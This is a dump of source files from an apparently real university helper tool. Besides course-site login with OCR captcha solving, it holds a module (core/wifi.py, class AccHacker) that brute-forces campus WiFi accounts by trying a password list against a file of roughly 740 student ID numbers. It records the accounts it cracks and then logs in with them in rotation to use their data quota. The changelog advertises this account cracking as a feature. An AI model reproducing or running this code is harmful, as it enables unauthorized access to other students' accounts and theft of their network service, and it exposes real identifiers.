99 | 'User information can not be empty, check your user information in {}.'.format(
100 | self._user_config_path))
101 | exit(ExitStatus.CONFIG_ERROR)
102 |
103 | else:
104 | self._user_info = {
105 | 'username': username,
106 | 'password': password,
107 | 'remember': 'undefined'
108 | }
109 |
110 | def __keep_session(self):
111 | try:
112 | res = self._S.get(url=self._urls['course_select_url']['http'], headers=self.headers, timeout=5)
113 | except requests.Timeout:
114 | res = self._S.get(url=self._urls['course_select_url']['https'], headers=self.headers)
115 | course_select_url = re.search(r"window.location.href='(?P.*?)'", res.text).groupdict().get(
116 | "course_select_url")
117 | self._S.get(course_select_url, headers=self.headers)
118 |
119 | def login(self):
120 | self._set_user_info()
121 | # self._S.get(url=self._urls['home_url']['https'], headers=self.headers, verify=False) # 获取identity
122 | try:
123 | res = self._S.get(url=self._urls['course_select_url']['http'], headers=self.headers, timeout=5)
124 | except requests.Timeout:
125 | res = self._S.get(url=self._urls['course_select_url']['https'], headers=self.headers)
126 | soup = BeautifulSoup(res.text, 'html.parser')
127 | try:
128 | res = self._S.get(url=self._urls['bak_home_url']['http'] + soup.select_one("img#code").get("src"),
129 | headers=self.headers)
130 | except:
131 | # 校园网内不需要验证码
132 | post_data = {
133 | 'userName': self._user_info.get('username', ''),
134 | 'pwd': self._user_info.get('password', ''),
135 | 'sb': 'sb'
136 | }
137 | else:
138 | captcha_img = Image.open(BytesIO(res.content))
139 | # captcha_img.show()
140 | # captcha_code = input("请输入图片展示的验证码信息:")
141 | captcha_code = do_ocr(captcha_img)
142 | post_data = {
143 | 'userName': self._user_info.get('username', ''),
144 | 'pwd': self._user_info.get('password', ''),
145 | 'certCode': captcha_code,
146 | 'sb': 'sb'
147 | }
148 | try:
149 | res = self._S.post(url=self._urls["bak_login_url"]['http'], data=post_data, headers=self.headers,
150 | timeout=10)
151 | except (requests.exceptions.ConnectionError,
152 | requests.exceptions.ConnectTimeout,
153 | requests.exceptions.ReadTimeout):
154 | self._logger.error("网络连接失败,请确认你的网络环境后重试!")
155 | exit(ExitStatus.NETWORK_ERROR)
156 | if res.status_code != 200:
157 | self._logger.error('sep登录失败,未知错误,请到github提交issue,等待作者修复.')
158 | exit(ExitStatus.UNKNOW_ERROR)
159 | else:
160 | if "请输入您的密码" in res.text:
161 | self._logger.error("sep登录失败,请检查你的用户名和密码设置以及验证码输入是否正确!")
162 | exit(ExitStatus.CONFIG_ERROR)
163 | else:
164 | self._logger.info("sep登录成功!")
165 | self.__keep_session()
166 |
167 |
168 | if __name__ == '__main__':
169 | loginer = Loginer(urls=settings.URLS,
170 | user_config_path='../conf/user_config.ini')
171 | loginer.login()
172 |
--------------------------------------------------------------------------------
/core/wifi.py:
--------------------------------------------------------------------------------
1 | # @Author : GentleCP
2 | # @Email : 574881148@qq.com
3 | # @File : wifi.py
4 | # @Item : PyCharm
5 | # @Time : 2019/11/28/028 17:06
6 | # @WebSite : https://www.gentlecp.com
7 | import logging
8 | import json
9 | import time
10 | import datetime
11 | import requests
12 | from urllib.parse import urlparse
13 |
14 | from handler.exception import WifiError
15 |
16 | def login_wifi(stuid,password):
17 | try:
18 | query_string = urlparse(requests.get("http://210.77.16.21").url).query
19 | payload = {
20 | "userId": stuid,
21 | "password": password,
22 | "service": "",
23 | "queryString": query_string,
24 | "operatorPwd": '',
25 | "operatorUserId": '',
26 | "validcode": '',
27 | }
28 | res = requests.post("http://210.77.16.21/eportal/InterFace.do?method=login", data=payload)
29 | res.encoding = 'u8'
30 | except (requests.exceptions.ConnectionError,
31 | requests.exceptions.ConnectTimeout,
32 | requests.exceptions.ReadTimeout):
33 | return None
34 | else:
35 | return {
36 | 'result':res.json().get("result"),
37 | 'msg':res.json().get("message"),
38 | 'query_string':query_string
39 | }
40 |
41 |
42 | class AccHacker(object):
43 | def __init__(self, data_path='data/data.txt',
44 | password_path = 'data/password.txt',
45 | accounts_path='accounts.json'):
46 |
47 | self._logger = logging.getLogger("AccHacker")
48 | self.d_accounts = None
49 | self.l_stuids = []
50 | self.l_passwords = []
51 | self._data_path = data_path
52 | self._accounts_path = accounts_path
53 | self._password_path = password_path
54 |
55 | def _set_info(self):
56 | """
57 | 获取账户文件信息
58 | :return: user_info
59 | """
60 | with open(self._accounts_path, 'r') as f:
61 | self.d_accounts = json.loads(f.read())
62 |
63 | with open(self._data_path, 'r') as f:
64 | for line in f:
65 | self.l_stuids.append(line.strip())
66 |
67 | with open(self._password_path, 'r') as f:
68 | for line in f:
69 | self.l_passwords.append(line.strip())
70 |
71 |
72 | def _save_accounts(self, accounts, datas):
73 | with open(self._accounts_path, 'w') as f:
74 | f.write(json.dumps(accounts))
75 |
76 | with open(self._data_path, 'w') as f:
77 | for data in datas:
78 | f.write(data + '\n')
79 |
80 | def __confirm_protocol(self, stuid, query_string):
81 | headers = {
82 | 'Connection': 'keep-alive',
83 | 'Origin': 'http://210.77.16.21',
84 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
85 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
86 | 'Accept': '*/*',
87 | 'Referer': 'http://210.77.16.21/eportal/index.jsp?' + query_string,
88 | 'Accept-Encoding': 'gzip, deflate',
89 | 'Accept-Language': 'zh-CN,zh;q=0.9',
90 | }
91 | res = requests.post("http://210.77.16.21/eportal/InterFace.do?method=registerNetWorkProtocol",
92 | data={'userId': stuid},
93 | headers=headers)
94 |
95 | if res.json()["result"] == "ok":
96 | # 成功确认
97 | return True
98 |
99 | def _acc_hack(self):
100 | cur = 1
101 | range_num = len(self.l_passwords)
102 | for stuid in self.l_stuids:
103 | start = time.time()
104 | hacked = False
105 | for i,password in enumerate(self.l_passwords):
106 | login_res = login_wifi(stuid, password)
107 | print("\r","正在测试账号{},密码:{},预期进度:{:.2f}%,耗费时间:{:.2f}秒:".format(stuid,
108 | password,
109 | (i / range_num) * 100,
110 | time.time() - start), end='', flush=True)
111 | if login_res.get('result') == 'success':
112 | self.d_accounts["useful_accounts"].append({"stuid": stuid, "pwd": password})
113 | self._logger.info("破解新账户:{},正存储到本地".format(stuid))
114 | requests.get("http://210.77.16.21/eportal/InterFace.do?method=logout") # 退出当前登录
115 | print("破解账号{}耗时:{:.2f}s".format(stuid, time.time() - start))
116 | hacked = True
117 | break
118 | elif login_res.get('msg') == "密码不匹配,请输入正确的密码!":
119 | pass
120 | elif login_res.get('msg') == "用户未确认网络协议书":
121 | self.__confirm_protocol(stuid,login_res.get('query_string'))
122 | elif login_res.get('msg') == "认证设备响应超时,请稍后再试!":
123 | time.sleep(1)
124 | else:
125 | print("出现异常:{}".format(login_res.get('msg')))
126 | break
127 | if not hacked:
128 | self._logger.info("未能破解账户:{}".format(stuid))
129 | print("未能破解账号{}耗时:{}s".format(stuid, time.time() - start))
130 | datas = self.l_stuids[cur:]
131 | cur += 1
132 | self._save_accounts(self.d_accounts, datas)
133 |
134 | def run(self):
135 | self._set_info()
136 | self._acc_hack()
137 |
138 |
139 | class WifiLoginer(object):
140 |
141 | def __init__(self, accounts_path):
142 | self._logger = logging.getLogger("WifiLoginer")
143 | self.accounts_path = accounts_path # 账户信息文件路径
144 | self.d_accounts = None
145 |
146 |
147 | def _set_account_info(self):
148 | """
149 | 获取可用账户进行登录
150 | :return: user_info
151 | """
152 | try:
153 | with open(self.accounts_path, 'r') as f:
154 | try:
155 | self.d_accounts = json.loads(f.read())
156 | except json.decoder.JSONDecodeError:
157 | self._logger.error("不是json文件,请按照要求修改内容!")
158 | exit(401)
159 | else:
160 | if not self.d_accounts["useful_accounts"]:
161 | # 所有账户流量都用完了
162 | self._logger.info("没有可用账户!,请执行python ucashelper.py hack获取可用账号")
163 | exit(401)
164 |
165 | except FileNotFoundError:
166 | self._logger.error("accounts.json文件不存在,请确认在根目录下创建!")
167 | exit(404)
168 |
169 | def _check_date(self):
170 | '''
171 | 检查当前日期,如果是新的一个月,则重置所有账号可用
172 | :return:
173 | '''
174 | current_month = datetime.datetime.now().month
175 | with open(self.accounts_path, 'r') as f:
176 | res = json.loads(f.read())
177 | if res["current_month"] != current_month:
178 | res["useful_accounts"].extend(res["useless_accounts"]) # 将所有流量耗尽的账户添加到可用账户中
179 | res["useless_accounts"] = []
180 | res["current_month"] = current_month
181 | with open(self.accounts_path, 'w') as f:
182 | f.write(json.dumps(res))
183 |
184 | def _save_accounts(self,accounts):
185 | with open(self.accounts_path, 'w') as f:
186 | f.write(json.dumps(accounts))
187 |
188 | def _change_account(self, msg):
189 | self._logger.info("正在为您尝试切换可用账户...")
190 | if msg == '无可用剩余流量!' or "密码不匹配,请输入正确的密码!" :
191 | useless_account = self.d_accounts["useful_accounts"].pop(0)
192 | self.d_accounts["useless_accounts"].append(useless_account)
193 | elif msg == "设备未注册,请在ePortal上添加认证设备":
194 | self._logger.error("设备未注册,请断开wifi后重连再试!")
195 | exit(500)
196 | else:
197 | self.d_accounts["useful_accounts"].pop(0)
198 |
199 | def _check_login(self):
200 | url = "http://210.77.16.21/eportal/InterFace.do?method=getOnlineUserInfo"
201 | try:
202 | res = requests.get(url, timeout=2)
203 | if res.json()["result"] == 'success':
204 | # 已经登录
205 | self._logger.info("您已经登录校园网,无需重复登录!")
206 | return True
207 | else:
208 | self._logger.info("正在为您登录校园网...")
209 | return False
210 | except requests.exceptions.ConnectTimeout:
211 | # 超时说明无法提供ip
212 | self._logger.error("网络连接超时,请稍后再试!")
213 | exit(400)
214 |
215 | except requests.exceptions.ReadTimeout:
216 | self._check_login()
217 |
218 | def _login_wifi(self):
219 | try:
220 | stuid = self.d_accounts["useful_accounts"][0]["stuid"]
221 | password = self.d_accounts["useful_accounts"][0]["pwd"]
222 | except IndexError:
223 | self._logger.error("无可用账号!")
224 | self._save_accounts(self.d_accounts)
225 | raise WifiError
226 |
227 | login_res = login_wifi(stuid, password)
228 | if not login_res:
229 | self._logger.error("网络连接出错,可能原因:1、未连接上校园网 2、当前网络环境无可分配动态ip")
230 | raise WifiError
231 |
232 | if login_res.get('result')== 'success':
233 | self._logger.info("Wifi登录成功,尽情冲浪吧~")
234 | self._save_accounts(self.d_accounts)
235 | else:
236 | self._logger.info("{} 登录失败!原因:{}".format(stuid,login_res.get('msg')))
237 | self._change_account(login_res.get('msg'))
238 | self._login_wifi()
239 |
240 | def _get_flow_info(self):
241 | url = "http://210.77.16.21/eportal/InterFace.do?method=getOnlineUserInfo"
242 | try:
243 | res = requests.get(url)
244 | except (requests.exceptions.ConnectTimeout,
245 | requests.exceptions.ConnectionError,
246 | requests.exceptions.ReadTimeout):
247 | self._logger.error("网络连接出现问题,请检查是否已连接上校园网!")
248 | exit(400)
249 | else:
250 | res.encoding = 'u8'
251 | if res.json().get("message") == "用户信息不完整,请稍后重试":
252 | return self._get_flow_info()
253 | else:
254 | return res.json().get('maxFlow')
255 |
256 |
257 | def login(self):
258 | self._set_account_info()
259 | if not self._check_login():
260 | self._login_wifi()
261 | self._logger.info("剩余流量:{}".format(self._get_flow_info()))
262 |
263 | def logout(self):
264 | try:
265 | flow_info = self._get_flow_info()
266 | if flow_info :
267 | self._logger.info("剩余流量:{}".format(flow_info))
268 | requests.get("http://210.77.16.21/eportal/InterFace.do?method=logout")
269 | self._logger.info("已退出校园网!")
270 | else:
271 | self._logger.info("您尚未登录校园网!")
272 |
273 | except (requests.exceptions.ConnectTimeout,
274 | requests.exceptions.ConnectionError,
275 | requests.exceptions.ReadTimeout):
276 | self._logger.error("网络连接出现问题,请检查是否已连接上校园网!")
277 | raise WifiError
278 |
279 |
--------------------------------------------------------------------------------
/data/data.txt:
--------------------------------------------------------------------------------
1 | 201818010315076
2 | 201818010315077
3 | 201818010315081
4 | 201818010330004
5 | 201818010351004
6 | 201818010351007
7 | 201818010351012
8 | 201818010351017
9 | 201818010415019
10 | 201818010415020
11 | 201818010415021
12 | 201818010415022
13 | 201818010415023
14 | 201818010415024
15 | 201818010415025
16 | 201818010415028
17 | 201818010415030
18 | 201818010415031
19 | 201818010415032
20 | 201818010415033
21 | 201818010415036
22 | 201818010415037
23 | 201818010415041
24 | 201818010415042
25 | 201818010415043
26 | 201818010515001
27 | 201818010515002
28 | 201818010515003
29 | 201818010515004
30 | 201818010515005
31 | 201818010515006
32 | 201818010515007
33 | 201818010515008
34 | 201818010515009
35 | 201818010515011
36 | 201818010515012
37 | 201818010515013
38 | 201818010515015
39 | 201818010515016
40 | 201818010515017
41 | 201818010515018
42 | 201818010515019
43 | 201818010515020
44 | 201818010515021
45 | 201818010515022
46 | 201818010515025
47 | 201818010515026
48 | 201818010515031
49 | 201818010515032
50 | 201818010515033
51 | 201818010515034
52 | 201818010515035
53 | 201818010515036
54 | 201818010515037
55 | 201818010515038
56 | 201818010515039
57 | 201818010515040
58 | 201818010515041
59 | 201818010515042
60 | 201818010515043
61 | 201818010515044
62 | 201818010515045
63 | 201818010515046
64 | 201818010515047
65 | 201818010515048
66 | 201818010515049
67 | 201818010515050
68 | 201818010515052
69 | 201818010515053
70 | 201818010515055
71 | 201818010515056
72 | 201818010515057
73 | 201818010515058
74 | 201818010515059
75 | 201818010515060
76 | 201818010515061
77 | 201818010515062
78 | 201818010515063
79 | 201818010515065
80 | 201818010515066
81 | 201818010551012
82 | 201818010551014
83 | 201818010551015
84 | 201818010551016
85 | 201818010551017
86 | 201818010551018
87 | 201818010551019
88 | 201818010551020
89 | 201818010551021
90 | 201818010551022
91 | 201818010551025
92 | 201818010551026
93 | 201818010551027
94 | 201818010551028
95 | 201818010615001
96 | 201818010615002
97 | 201818010615005
98 | 201818010615008
99 | 201818010615009
100 | 201818010615012
101 | 201818010615014
102 | 201818010615017
103 | 201818010615021
104 | 201818010615022
105 | 201818010615023
106 | 201818010642002
107 | 201818010642003
108 | 201818010642005
109 | 201818010642007
110 | 201818010642009
111 | 201818010642010
112 | 201818010642013
113 | 201818010642015
114 | 201818010642016
115 | 201818010642022
116 | 201818010642024
117 | 201818010642027
118 | 201818010642028
119 | 201818010715002
120 | 201818010715005
121 | 201818010715006
122 | 201818010715007
123 | 201818010715011
124 | 201818010715013
125 | 201818010715017
126 | 201818010715019
127 | 201818010715022
128 | 201818010751001
129 | 201818010751003
130 | 201818010751007
131 | 201818010751008
132 | 201818010751009
133 | 201818010815007
134 | 201818010815010
135 | 201818010815011
136 | 201818010851003
137 | 201818010851004
138 | 201818010851005
139 | 201818010851006
140 | 201818011015001
141 | 201818011015003
142 | 201818011015004
143 | 201818011015005
144 | 201818011015008
145 | 201818011015011
146 | 201818011015013
147 | 201818011037001
148 | 201818011037002
149 | 201818011042002
150 | 201818011042003
151 | 201818011042005
152 | 201818011042006
153 | 201818011042007
154 | 201818011042008
155 | 201818011042011
156 | 201818011042012
157 | 201818011042014
158 | 201818011051002
159 | 201818011051003
160 | 201818011051004
161 | 201818011051005
162 | 201818011051008
163 | 201818011051009
164 | 201818011051010
165 | 201818011051011
166 | 201818011203002
167 | 201818011203004
168 | 201818011215004
169 | 201818011215007
170 | 201818011215013
171 | 201818011215045
172 | 201818011215048
173 | 201818011215080
174 | 201818011215081
175 | 201818011215083
176 | 201818011215089
177 | 201818011215090
178 | 201818011215091
179 | 201818011215094
180 | 201818011215099
181 | 201818011230001
182 | 201818011315001
183 | 201818011315018
184 | 201818011315019
185 | 201818011315020
186 | 201818011315026
187 | 201818011315045
188 | 201818011315048
189 | 201818011315050
190 | 201818011315055
191 | 201818011330002
192 | 201818011330003
193 | 201818011915007
194 | 201818011915008
195 | 201818011915009
196 | 201818011915010
197 | 201818011915011
198 | 201818011915012
199 | 201818011915013
200 | 201818011915014
201 | 201818011915015
202 | 201818011915016
203 | 201818011915019
204 | 201818011915021
205 | 201818011915025
206 | 201818011915027
207 | 201818011915032
208 | 201818011915033
209 | 201818011915042
210 | 201818011915045
211 | 201818011915046
212 | 201818011915048
213 | 201818011915049
214 | 201818011915050
215 | 201818011915053
216 | 201818011915058
217 | 201818011915061
218 | 201818011937001
219 | 201818011937002
220 | 201818011937004
221 | 201818011937006
222 | 201818011941001
223 | 201818012115009
224 | 201818012115011
225 | 201818012115014
226 | 201818012115072
227 | 201818012115074
228 | 201818012115095
229 | 201818012215003
230 | 201818012215005
231 | 201818012215006
232 | 201818012215008
233 | 201818012215009
234 | 201818012215012
235 | 201818012215013
236 | 201818012251001
237 | 201818012251002
238 | 201818012342001
239 | 201818012342002
240 | 201818012342003
241 | 201818012342004
242 | 201818012342005
243 | 201818012342006
244 | 201818012342007
245 | 201818012342008
246 | 201818012342009
247 | 201818012342010
248 | 201818012342012
249 | 201818012342013
250 | 201818012342014
251 | 201818012342015
252 | 201818012342016
253 | 201818012342017
254 | 201818012342018
255 | 201818012342019
256 | 201818012342020
257 | 201818012342021
258 | 201818012342022
259 | 201818012342023
260 | 201818012342024
261 | 201818012342025
262 | 201818012342026
263 | 201818012342027
264 | 201818012415011
265 | 201818012415012
266 | 201818012415013
267 | 201818012415014
268 | 201818012415015
269 | 201818012415016
270 | 201818012415017
271 | 201818012415023
272 | 201818012415024
273 | 201818012415025
274 | 201818012415035
275 | 201818012415039
276 | 201818012503043
277 | 201818012637006
278 | 201818012637007
279 | 201818012637008
280 | 201818012637009
281 | 201818012637010
282 | 201818012637011
283 | 201818012637012
284 | 201818012637013
285 | 201818012638003
286 | 201818012638004
287 | 201818012638006
288 | 201818012638007
289 | 201818012638009
290 | 201818012638010
291 | 201818012638011
292 | 201818012638012
293 | 201818012638013
294 | 201818012638014
295 | 201818012638016
296 | 201818012638018
297 | 201818012638021
298 | 201818012638022
299 | 201818012638024
300 | 201818012638026
301 | 201818012651001
302 | 201818012651002
303 | 201818012651003
304 | 201818012651004
305 | 201818012651005
306 | 201818012715002
307 | 201818012715007
308 | 201818012715008
309 | 201818012737001
310 | 201818012737003
311 | 201818012737004
312 | 201818012737006
313 | 201818012737007
314 | 201818012737008
315 | 201818012738004
316 | 201818012751002
317 | 201818012751003
318 | 201818012751006
319 | 201818012751008
320 | 201818012751010
321 | 201818012751013
322 | 201818012751016
323 | 201818012751019
324 | 201818012751024
325 | 201818012751025
326 | 201818012751026
327 | 201818012815008
328 | 201818012851010
329 | 201818012938004
330 | 201818012938006
331 | 201818012938007
332 | 201818012938008
333 | 201818012938009
334 | 201818012938010
335 | 201818012938011
336 | 201818012938012
337 | 201818012938013
338 | 201818012938015
339 | 201818012938016
340 | 201818012938017
341 | 201818012951002
342 | 201818012951003
343 | 201818012951004
344 | 201818012951007
345 | 201818013229076
346 | 201818013229080
347 | 201818013229089
348 | 201818013270001
349 | 201818013329003
350 | 201818013329004
351 | 201818013329006
352 | 201818013329008
353 | 201818013524030
354 | 201818013524031
355 | 201818013524032
356 | 201818013524033
357 | 201818013524035
358 | 201818013607001
359 | 201818013607002
360 | 201818013607010
361 | 201818013607011
362 | 201818013607012
363 | 201818013607013
364 | 201818013607014
365 | 201818013607016
366 | 201818013622001
367 | 201818013622002
368 | 201818013622005
369 | 201818013622006
370 | 201818013622007
371 | 201818013622008
372 | 201818013622009
373 | 201818013622010
374 | 201818013622011
375 | 201818013622012
376 | 201818013626002
377 | 201818013626005
378 | 201818013626007
379 | 201818013626008
380 | 201818013626009
381 | 201818013626010
382 | 201818013626012
383 | 201818013626013
384 | 201818013626016
385 | 201818013626018
386 | 201818013626019
387 | 201818013626034
388 | 201818013626035
389 | 201818013626036
390 | 201818013626037
391 | 201818013626038
392 | 201818013626039
393 | 201818013626041
394 | 201818013626042
395 | 201818013626043
396 | 201818013626044
397 | 201818013626045
398 | 201818013626046
399 | 201818013626047
400 | 201818013626049
401 | 201818013626050
402 | 201818013626051
403 | 201818013626052
404 | 201818013626053
405 | 201818013626054
406 | 201818013626055
407 | 201818013626056
408 | 201818013626057
409 | 201818013626058
410 | 201818013626061
411 | 201818013626063
412 | 201818013626065
413 | 201818013626066
414 | 201818013626067
415 | 201818013626068
416 | 201818013626069
417 | 201818013726035
418 | 201818013726040
419 | 201818013727055
420 | 201818013727056
421 | 201818013727059
422 | 201818013727060
423 | 201818013822001
424 | 201818013822002
425 | 201818013826001
426 | 201818013826002
427 | 201818013826003
428 | 201818013826004
429 | 201818013826005
430 | 201818013826006
431 | 201818013826007
432 | 201818013826038
433 | 201818013826045
434 | 201818013827001
435 | 201818013827003
436 | 201818013827004
437 | 201818013907034
438 | 201818013907035
439 | 201818013919002
440 | 201818013919011
441 | 201818013919016
442 | 201818013919022
443 | 201818013919029
444 | 201818013919035
445 | 201818013919039
446 | 201818013919040
447 | 201818013919042
448 | 201818013919044
449 | 201818013920024
450 | 201818013920028
451 | 201818013920034
452 | 201818013920041
453 | 201818013920044
454 | 201818013920047
455 | 201818013920049
456 | 201818013920050
457 | 201818013920051
458 | 201818013920052
459 | 201818013926002
460 | 201818014007001
461 | 201818014007002
462 | 201818014007003
463 | 201818014007004
464 | 201818014007005
465 | 201818014007006
466 | 201818014020001
467 | 201818014020002
468 | 201818014020003
469 | 201818014020004
470 | 201818014020005
471 | 201818014020006
472 | 201818014020007
473 | 201818014020008
474 | 201818014020009
475 | 201818014020010
476 | 201818014020011
477 | 201818014020013
478 | 201818014020014
479 | 201818014020016
480 | 201818014020020
481 | 201818014020021
482 | 201818014020022
483 | 201818014020023
484 | 201818014020024
485 | 201818014020026
486 | 201818014020028
487 | 201818014020030
488 | 201818014020031
489 | 201818014020038
490 | 201818014022001
491 | 201818014022002
492 | 201818014022004
493 | 201818014022007
494 | 201818014022008
495 | 201818014022013
496 | 201818014207002
497 | 201818014207003
498 | 201818014207005
499 | 201818014207007
500 | 201818014207009
501 | 201818014207010
502 | 201818014207011
503 | 201818014220003
504 | 201818014220004
505 | 201818014220005
506 | 201818014220006
507 | 201818014220009
508 | 201818014220010
509 | 201818014220011
510 | 201818014220013
511 | 201818014220015
512 | 201818014226001
513 | 201818014226002
514 | 201818014226004
515 | 201818014227005
516 | 201818014227008
517 | 201818014227010
518 | 201818014227011
519 | 201818014227012
520 | 201818014227013
521 | 201818014227015
522 | 201818014227016
523 | 201818014326036
524 | 201818014326037
525 | 201818014326038
526 | 201818014326039
527 | 201818014326040
528 | 201818014326041
529 | 201818014628020
530 | 201818014628031
531 | 201818014628032
532 | 201818014628033
533 | 201818014628035
534 | 201818014628050
535 | 201818014628053
536 | 201818014628056
537 | 201818014628089
538 | 201818014628093
539 | 201818014719004
540 | 201818014719005
541 | 201818014719006
542 | 201818014719007
543 | 201818014719009
544 | 201818014719011
545 | 201818014719012
546 | 201818014719014
547 | 201818014728003
548 | 201818014728004
549 | 201818014728005
550 | 201818014728006
551 | 201818014728007
552 | 201818014728008
553 | 201818014728009
554 | 201818014728010
555 | 201818014728011
556 | 201818014728012
557 | 201818014728013
558 | 201818014728015
559 | 201818014728017
560 | 201818014825019
561 | 201818014825026
562 | 201818014825031
563 | 201818014825032
564 | 201818014825033
565 | 201818014924001
566 | 201818014924002
567 | 201818014924004
568 | 201818014924006
569 | 201818014924007
570 | 201818014924008
571 | 201818014924009
572 | 201818014924010
573 | 201818014933001
574 | 201818014933002
575 | 201818014933003
576 | 201818014933004
577 | 201818014933005
578 | 201818014933007
579 | 201818014933011
580 | 201818015029013
581 | 201818015029016
582 | 201818015059009
583 | 201818015059012
584 | 201818015059014
585 | 201818015059016
586 | 201818015059017
587 | 201818015059018
588 | 201818015059026
589 | 201818015070003
590 | 201818015120001
591 | 201818015121005
592 | 201818015121006
593 | 201818015121007
594 | 201818015121009
595 | 201818015121014
596 | 201818015127010
597 | 201818015127011
598 | 201818015127013
599 | 201818015329002
600 | 201818015329003
601 | 201818015329004
602 | 201818015329006
603 | 201818015329008
604 | 201818015329009
605 | 201818015329010
606 | 201818015329011
607 | 201818015547012
608 | 201818015547013
609 | 201818015547018
610 | 201818015615001
611 | 201818015615002
612 | 201818015615003
613 | 201818015615004
614 | 201818015651002
615 | 201818015651005
616 | 201818015814002
617 | 201818015814004
618 | 201818015837003
619 | 201818015837005
620 | 201818015837006
621 | 201818015837009
622 | 201818015926001
623 | 201818015926002
624 | 201818015926003
625 | 201818015926004
626 | 201818015926005
627 | 201818015926006
628 | 201818015926007
629 | 201818015926008
630 | 201818015926009
631 | 201818015926010
632 | 201818015926011
633 | 201818015926029
634 | 201818015926030
635 | 201818015926031
636 | 201818015926032
637 | 201818015926033
638 | 201818015926034
639 | 201818015926035
640 | 201818015926037
641 | 201818015926038
642 | 201818015926039
643 | 201818015926041
644 | 201818015926043
645 | 201818015926044
646 | 201818015926046
647 | 201818015926047
648 | 201818015926048
649 | 201818015926049
650 | 201818015926050
651 | 201818015926051
652 | 201818015926052
653 | 201818015926053
654 | 201818015926054
655 | 201818015926055
656 | 201818015926056
657 | 201818015926057
658 | 201818015926058
659 | 201818015926059
660 | 201818015926060
661 | 201818015926061
662 | 201818015926062
663 | 201818015926063
664 | 201818015926064
665 | 201818015926066
666 | 201818015926068
667 | 201818015926069
668 | 201818015926070
669 | 201818015926071
670 | 201818015926072
671 | 201818015926073
672 | 201818015926074
673 | 201818015926076
674 | 201818015926077
675 | 201818015926078
676 | 201818015926079
677 | 201818015926080
678 | 201818015926081
679 | 201818015926082
680 | 201818015926084
681 | 201818015926085
682 | 201818015926086
683 | 201818015926087
684 | 201818015926088
685 | 201818015926090
686 | 201818015926091
687 | 201818015926092
688 | 201818015926093
689 | 201818015926094
690 | 201818015926096
691 | 201818015926098
692 | 201818015926099
693 | 201818016029005
694 | 201818016029011
695 | 201818016029014
696 | 201818016251004
697 | 201818016251005
698 | 201818016251010
699 | 201818016251011
700 | 201818016251014
701 | 201818016251016
702 | 201818016251019
703 | 201818016251020
704 | 201818016443006
705 | 201818016443008
706 | 201818016443020
707 | 201818016443023
708 | 201818016514005
709 | 201818016514007
710 | 201818016514008
711 | 201818016514011
712 | 201818016514012
713 | 201818016514013
714 | 201818016514015
715 | 201818016514016
716 | 201818016514018
717 | 201818016514019
718 | 201818016514020
719 | 201818016514025
720 | 201818016514026
721 | 201818016514028
722 | 201818016514029
723 | 201818016514036
724 | 201818016514037
725 | 201818016514042
726 | 201818016514052
727 | 201818016537004
728 | 201818016537006
729 | 201818016537007
730 | 201818016537008
731 | 201818016537009
732 | 201818016537010
733 | 201818016537011
734 | 201818016537015
735 | 201818016537016
736 | 201818016537022
737 | 201818016537023
738 | 201818016537024
739 | 201818016537025
740 | 201818016609002
741 | 201818016609006
742 | 201818016715023
743 |
--------------------------------------------------------------------------------
/docs/change_log.md:
--------------------------------------------------------------------------------
1 | 更新日志
2 | ===========
3 |
4 | ## v2.4.0: 2022/05/01
5 | - 彻底去除在`settings.py`中添加用户信息和资源路径的方式,转移到`conf/user_config.ini`中
6 | - 更新了sep新的登录方式(现在需要加密)
7 | - 修复了资源同步存在的一些问题
8 | - 资源存储目录设置默认存储为根目录`resources`下
9 | - 添加了OCR自动识别验证码
10 | > OCR有时候会识别错误,显示登录失败,重试几次即可
11 |
12 | ## v2.3.4: 2021/04/14
13 | - 修复因课程网站变动导致的登录失效问题
14 | - 新的登录接口还没做验证码的自动识别,需要人工手动输入验证码
15 |
16 | ## 旧版本信息
17 | - [2.3.3] 添加不建议自动更新的说明,clone深度调整为1
18 | - [2.3.1] 修复自动更新的一些问题,自动获取最新版本号,之前版本因为错误的更新代码无法兼容本次更新,建议重新`clone`项目
19 | - [2.3.0] 添加引导配置程序,将`settings.py`中用户信息和存储信息单独存,解耦合,新版本依赖`npyscreen`,请执行`pip install -r requirements.txt`
20 | - [2.2.0] 添加专门的日志处理器,优化部分代码结构
21 | - [2.1.2] 更改了文档信息,将主要内容单独拎出来,简化README。
22 | - [2.1.1] 本次做了两个主要改动:
23 | 1. 添加了自动更新的功能,在每次程序启动的时候检测github上的最新代码,若有更新,则同步更新,具体见[5.5 更新项目](#55-更新项目)
24 | 2. 修改了资源存储位置检测的顺序,放到了程序主界面启动之后,这样可以避免只想使用其他功能的朋友被强制要求设定资源下载路径
25 | - [2.0.5] 修复登陆接口请求失败的问题,建议使用最新的更新方式,见[5.5 更新项目](#55-更新项目)
26 | - [2.0.4] 修复评估教师失败的bug
27 | - [2.0.3] 修复了部分课程因html解析不当导致的课程资源无法下载的情况,本次更新需要用到新的依赖包`lxml=4.5.2`,
28 | 已安装老版本的请重新执行`pip install -r requirements.txt`
29 | - [2.0.2] 修复了因课程网站选课系统添加头部检查导致的**课程评估,分数查询**功能的失效。
30 | - [2.0.1] 对整体代码进行了重构,解决因课程网站`http`,`https`协议切换导致的访问出错问题,
31 | 同时更改了项目接口,方便小白和专业人士操作。以前均通过可视化`UI`界面进行操作,现在用户可选择`UI`和命令行两种模式,具体见**5.部署使用**。
32 | 对各个功能测试结果如下:
33 | - [x] 课程资源同步
34 | - [x] 分数查询
35 | - [ ] 自动评教:由于课程网站评教操作关闭,尚未测试
36 | - [ ] 校园网登录:由于不在学校,尚未测试
37 | - [ ] 校园网账号破解:同上
38 | > 未测试内容基本上沿用了之前的代码,按照常理不会出错,如果有问题,欢迎提出`issue`
39 |
40 | - [1.7.2] 修复了因课程主站使用http协议导致的错误
41 | > GKD的课程主站偶尔抽风,一会用https,一会用http,导致访问端口出现问题,现统一将用到的url放到`settings.py/URLS`中,
42 | 当主站修改应用协议时修改对应url的协议即可。例如`'base_url':'http://jwxk.ucas.ac.cn'`>`'base_url':'https://jwxk.ucas.ac.cn'`,
43 | 目前没时间完美适配这个问题(对代码重构较多)。
44 | - [1.7.1] 修改了主页的部分显示内容,添加版本信息,去除网站链接
45 | - [1.7.0] 添加了分数查询功能并修复了课程评估失败的问题
46 | - [1.6.0] 文件同步添加了进度条,方便查看文件同步信息,但请注意,若下载过程中未完成中断任务需将下载一半的文件删除,否则不会更新
47 | 
